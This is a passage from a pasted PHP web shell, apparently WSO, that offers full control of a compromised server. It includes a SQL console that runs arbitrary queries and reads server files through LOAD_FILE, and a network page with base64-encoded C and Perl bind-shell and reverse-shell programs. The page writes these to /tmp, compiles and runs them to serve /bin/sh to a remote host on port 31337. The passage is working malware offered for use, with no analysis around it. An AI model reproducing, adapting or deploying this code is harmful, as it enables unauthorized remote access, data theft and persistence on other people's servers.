  1316. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1317. echo "<br><br>";
  1318. }
  1319. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1320. $db->query(@$_POST['p3']);
  1321. if($db->res !== false) {
  1322. $title = false;
  1323. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1324. $line = 1;
  1325. while($item = $db->fetch()) {
  1326. if(!$title) {
  1327. echo '<tr>';
  1328. foreach($item as $key => $value)
  1329. echo '<th>'.$key.'</th>';
  1330. reset($item);
  1331. $title=true;
  1332. echo '</tr><tr>';
  1333. $line = 2;
  1334. }
  1335. echo '<tr class="l'.$line.'">';
  1336. $line = $line==1?2:1;
  1337. foreach($item as $key => $value) {
  1338. if($value == null)
  1339. echo '<td><i>null</i></td>';
  1340. else
  1341. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1342. }
  1343. echo '</tr>';
  1344. }
  1345. echo '</table>';
  1346. } else {
  1347. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1348. }
  1349. }
  1350. echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1351. echo "</td></tr>";
  1352. }
  1353. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1354. if(@$_POST['p1'] == 'loadfile') {
  1355. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  1356. $file = $db->fetch();
  1357. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1358. }
  1359. }
  1360. echo '</div>';
  1361. printFooter();
  1362. }
  1363. function actionNetwork() {
  1364. printHeader();
  1365. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1366. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1367. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1368. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1369. ?>
  1370. <h1>Network tools</h1><div class=content>
  1371. <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1372. <span>Bind port to /bin/sh</span><br/>
  1373. Port: <input type='text' name='port' value='7777'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
  1374. </form>
  1375. <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1376. <span>Back-connect to</span><br/>
  1377. Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
  1378. </form><br>
  1379. <?php
  1380. if(isset($_POST['p1'])) {
  1381. function cf($f,$t) {
  1382. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1383. if($w) {
  1384. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1385. @fclose($w);
  1386. }
  1387. }
  1388. if($_POST['p1'] == 'bpc') {
  1389. cf("/tmp/bp.c",$bind_port_c);
  1390. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1391. @unlink("/tmp/bp.c");
  1392. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1393. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  1394. }
  1395. if($_POST['p1'] == 'bpp') {
  1396. cf("/tmp/bp.pl",$bind_port_p);
  1397. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1398. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  1399. }
  1400. if($_POST['p1'] == 'bcc') {
  1401. cf("/tmp/bc.c",$back_connect_c);
  1402. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1403. @unlink("/tmp/bc.c");
  1404. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1405. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  1406. }
  1407. if($_POST['p1'] == 'bcp') {
  1408. cf("/tmp/bc.pl",$back_connect_p);
  1409. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1410. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  1411. }
  1412. }
  1413. echo '</div>';
  1414. printFooter();
  1415. }
  1416. if( empty($_POST['a']) )
  1417. if(isset($default_action) && function_exists('action' . $default_action))
  1418. $_POST['a'] = $default_action;
  1419. else
  1420. $_POST['a'] = 'SecInfo';
  1421. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1422. call_user_func('action' . $_POST['a']);
  1423. ?>
RAW Paste Data